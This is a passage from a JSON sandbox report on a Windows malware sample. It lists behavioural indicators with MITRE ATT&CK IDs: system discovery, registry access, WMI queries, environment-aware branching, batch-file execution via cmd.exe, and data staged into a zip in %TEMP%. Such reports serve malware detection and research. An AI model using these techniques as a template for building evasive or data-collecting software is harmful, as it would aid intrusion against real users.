Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"Found string \"Set process affinity mask:\" (Indicator: \"set \"; File: \"00000000-00006000.00000000.97850.011A1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"$35","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system","description":"GetSystemInfo@KERNEL32.DLL at 00000000-00006000-21029-1311-011AA167\n GetSystemInfo@KERNEL32.DLL at 00000000-00006000-21029-1320-011AA31B","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":4,"id":"stream-86","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"NetServerGetInfo\" (Indicator: \"NetServerGetInfo\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"cmd.exe /c ver\") in Source: 00000000-00006604-00000C47-39009176548\n Observed string: \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"/c ver\") in Source: 00000000-00006604-00000C47-39009176548\n Observed string: \"/c ver\" (Indicator: \"/c ver\") in Source: cmd.exe","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve windows environment variables","description":"file/memory contains long string with (Indicator: \"%username%\"; File: \"7e5cy7w4O.bat\")\n file/memory contains long string with (Indicator: \"%processor_architecture%\"; File: \"7e5cy7w4O.bat\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-557","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNELBASE.DLL at 00000000-00004960-14840-21-00EABEBB\n GetProcessHeap@KERNELBASE.DLL at 00000000-00004960-14840-22-00EAB7E9\n GetProcessHeap@KERNELBASE.DLL at 00000000-00004960-14840-23-00EAB632\n GetProcessHeap@KERNELBASE.DLL at 00000000-00004960-14840-39-00EAB66D\n GetProcessHeap@KERNELBASE.DLL at 00000000-00004960-14840-55-00EAB70D\n OpenProcessToken@KERNELBASE.DLL at 00000000-00004960-14840-113-00EA424F\n OpenProcessToken@ADVAPI32.DLL at 00000000-00006000-21029-1289-011A9718\n OpenProcessToken@ADVAPI32.DLL at 00000000-00006000-21029-1863-011B4661","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Found registry location string related to processor","description":"Observed string: \"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0\" (Indicator: \"hardware\\description\\system\\centralprocessor\") in Source: 21029-1793-011AA58E\n Observed string: \"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0\" (Indicator: \"hardware\\description\\system\\centralprocessor\") in Source: 00000000-00006000.00000000.97850.01251000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-351","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp al, 05h\" and \"jc 01245AF1h\" at 00000000-00006000-21029-55-01245AC0\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp al, 05h\" and \"jc 01245B71h\" at 00000000-00006000-21029-58-01245B40\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp al, 05h\" and \"jc 01245A22h\" at 00000000-00006000-21029-60-012459D0\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp al, 05h\" and \"jc 01245B31h\" at 00000000-00006000-21029-80-01245B00\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp al, 05h\" and \"jc 01245AB2h\" at 00000000-00006000-21029-92-01245A80\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp al, 05h\" and \"jc 01245981h\" at 00000000-00006000-21029-120-01245950\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 00000006h\" and \"je 01242BEEh\" at 00000000-00006000-21029-128-01242BC0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volatile registry keys","description":"\"NSudoLG.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\VOLATILE ENVIRONMENT\"; Key: \"\"; Value: \"\")\n \"NSudoLG.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\VOLATILE ENVIRONMENT\\1\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-139","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00001656-00000C17-368328262\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00001656-00000C17-373960931\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00006604-00000C17-385917014\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00006604-00000C17-391097268","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00001656-00000C17-368328262\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00001656-00000C17-373960931\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00006604-00000C17-385917014\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00006604-00000C17-391097268","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"NSudoLG.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"tasklist.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"7z.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\7E5CY7W4O.BAT\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"Found string \"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\" (Indicator: \" Win32_Process\"; Source: \"00000000-00001376.00000000.90753.51B90000.00000004.mdmp, 00000000-00001376.00000000.90753.51F10000.00000004.mdmp, 00000000-00001376.00000001.90767.17AC2000.00000002.mdmp, 00000000-00001376.00000001.90767.51F10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Able to aggregate collected data, possibly for exfiltration","description":"\"same.zip\" copied on \"%TEMP%\\saked\\same.zip\"","origin":"Binary File","mitre_attack_id":"T1074","relevance":1,"id":"binary-87","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExW\" in file \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\"\n Found registry modification API: \"RegConnectRegistryW\" in \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\"\n Found registry modification API: \"RegCreateKeyExA\" in \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\"\n Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\"\n Found registry modification API: \"RegLoadKeyW\" in \"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\"\n Found registry modification API: \"RegConnectRegistryW\" in \"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")\n Found reference to API \"EnumServicesStatusExW\" (Indicator: \"EnumServicesStatus\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")\n Found reference to API \"OpenSCManagerA\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"EnumServicesStatusA\" (Indicator: \"EnumServicesStatus\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Able to read the PEB (Process Environment Block) structure","description":"\"sample.bin\" can read 32 bit PEB structure (dword ptr fs:[00000030h]) (Offset: 160252)","origin":"Binary File","mitre_attack_id":"T1027.007","relevance":3,"id":"binary-30","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"CreateDirectoryW\" with parameter C:\\Users (UID: 00000000-00002668)\n \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00002668)\n \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData (UID: 00000000-00002668)\n \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Local (UID: 00000000-00002668)\n \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Temp (UID: 00000000-00002668)\n \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"CreateDirectoryW\" with parameter saked (UID: 00000000-00002668)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$38","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"cmd.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00006604)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$39","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Can load assembly that contains the code that is currently executing (Dotnet)","description":"Found string \"GetExecutingAssembly\" (Indicator: \"GetExecutingAssembly\"; File: \"00000000-00006300.00000000.98189.00972000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-615","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"D:\\Projects\\WinRAR\\sfx\\build\\sfxrar32\\Release\\sfxrar.pdb\"\n \"reg.pdb\"\n \"d:\\worker\\huoqi\\zhanghaitaosvn\\project\\driver\\other\\iobitunlocker\\unlocker\\driver\\bin\\Win7\\i386\\IObitUnlocker.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"SELECT * FROM Win32_OperatingSystem\" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, Indicator: \"select * from win32_operatingsystem\")\n \"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\" (Source: 00000000-00001376.00000000.90753.51B90000.00000004.mdmp, 00000000-00001376.00000000.90753.51F10000.00000004.mdmp, 00000000-00001376.00000001.90767.17AC2000.00000002.mdmp, 00000000-00001376.00000001.90767.51F10000.00000004.mdmp, Indicator: \"select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime from win32_process\")\n \"SELECT Name FROM Win32_Service WHERE ProcessId = %d and State=\"Running\"\" (Source: 00000000-00001376.00000001.90767.17AC2000.00000002.mdmp, Indicator: \"select name from win32_service where processid = %d and state=\"running\"\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")\n Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcess\" (Indicator: \"CreateProcess\"; File: \"00000000-00006300.00000000.98189.00972000.00000080.mdmp\")\n Found reference to API \"CreateProcessWithTokenW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"CreateProcessAsUserA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"CreateProcessWithLogonW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"IoCreateDevice\" (Indicator: \"IoCreateDevice\"; File: \"00000000-00006300.00000000.98189.00972000.00000080.mdmp\")\n Found reference to API \"IofCallDriver\" (Indicator: \"IofCallDriver\"; File: \"00000000-00006300.00000000.98189.00972000.00000080.mdmp\")\n Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep at 00000000-00004960-14840-11-00EAC5B0\n WaitForSingleObject@KERNEL32.DLL at 00000000-00006000-21029-43-0123ACA0\n WaitForSingleObject@KERNEL32.DLL at 00000000-00006000-21029-193-0123ACC0\n WaitForMultipleObjects@KERNEL32.DLL at 00000000-00006000-21029-1471-011B0C9B","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\")\n Found reference to API \"RegUnLoadKeyW\" (Indicator: \"RegUnLoadKey\"; Source: \"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryW@KERNEL32.DLL at 00000000-00006000-21029-480-01228480\n LoadLibraryW@KERNEL32.DLL at 00000000-00006000-21029-2108-011A5B5A\n LoadLibraryW@KERNEL32.DLL at 00000000-00006000-21029-2312-011DC61F","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"WinExec\" (Indicator: \"WinExec\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"ShellExecuteExA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"file/memory contains long string with (Indicator: \"cmd.exe /c\"; File: \"7e5cy7w4O.bat\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"\\system32\\cmd.exe /c \"; Source: \"00000000-00006604-00000C47-39009176548\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00006604-00000C47-39009176548\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c tasklist\" (Indicator: \"\\system32\\cmd.exe /c \"; Source: \"00000000-00006604-00000C47-53186943186\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c tasklist\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00006604-00000C47-53186943186\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\7e5cy7w4O.bat\" \"\" (Indicator: \"\\system32\\cmd.exe /c \"; File: \"cmd.exe\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\7e5cy7w4O.bat\" \"\" (Indicator: \"cmd.exe /c\"; File: \"cmd.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"GetCommandLineArgs\" (Indicator: \"GetCommandLine\"; File: \"00000000-00006300.00000000.98189.00972000.00000080.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: 